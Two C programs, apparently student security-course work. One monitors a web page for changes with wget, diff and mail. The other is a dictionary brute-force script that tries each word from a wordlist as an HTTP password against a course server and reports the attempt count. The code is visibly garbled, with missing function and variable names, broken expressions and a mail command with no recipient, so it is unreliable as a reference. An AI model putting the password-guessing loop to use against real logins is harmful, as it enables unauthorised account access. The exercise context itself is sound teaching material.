
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
  char PassString[100],pwd[3],p[100];
  char *t;
  const char l[]=" \n.,;:!-";
  int count=0;
  
  FILE *fh;
  fh=fopen("words.txt","r");
  int  ,end,tot;

   = time();
  
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  { 
    t=strtok(PassString,l);
    while(t!=NULL)
    {
      count++;
      strcpy(p,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
      strcat(p,t);
      if(system(p)==0)
      {
     
      end = time();
      tot = (end -);
      tot /= 1000000000.0;
      printf("The total time_var taken is:%llds\n",tot);
      printf("The number of attempts is:%d\n",count);
      exit(1);
      }
      t=strtok(NULL,l);
      printf("%s=\n",p);
      
    }
  
  }
  fclose(fh);
  return 0;
  }
